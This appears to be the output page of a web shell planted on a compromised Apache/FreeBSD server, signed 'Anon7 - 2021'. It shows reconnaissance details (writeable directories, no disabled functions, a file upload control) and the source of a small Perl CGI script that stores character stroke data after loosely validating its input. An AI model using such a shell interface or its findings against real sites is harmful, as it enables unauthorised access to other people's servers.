KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/mandarintools/cgi-bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/mandarintools/cgi-bin/storestrokes.pl
#!/usr/bin/perl

require "cgi-lib.pl";

&ReadParse(*values);

$unihex = $values{'unichar'};
$strokes = $values{'strokes'};

print "Content-type: text/plain\n\n";

#print "$unihex\n$strokes\n";

if ($unihex eq "" or $strokes eq "") {
    print "Please include both fields\n";
    exit;
}
if ($unihex !~ m/[a-fA-F0-9]{4}/) { 
    print "Character should be in unicode hex format\n";
    exit; 
}

open(NEW, ">> newstrokedata.txt") or die $!;
print NEW "$unihex\t$strokes\n";
close(NEW);
exit;

Anon7 - 2021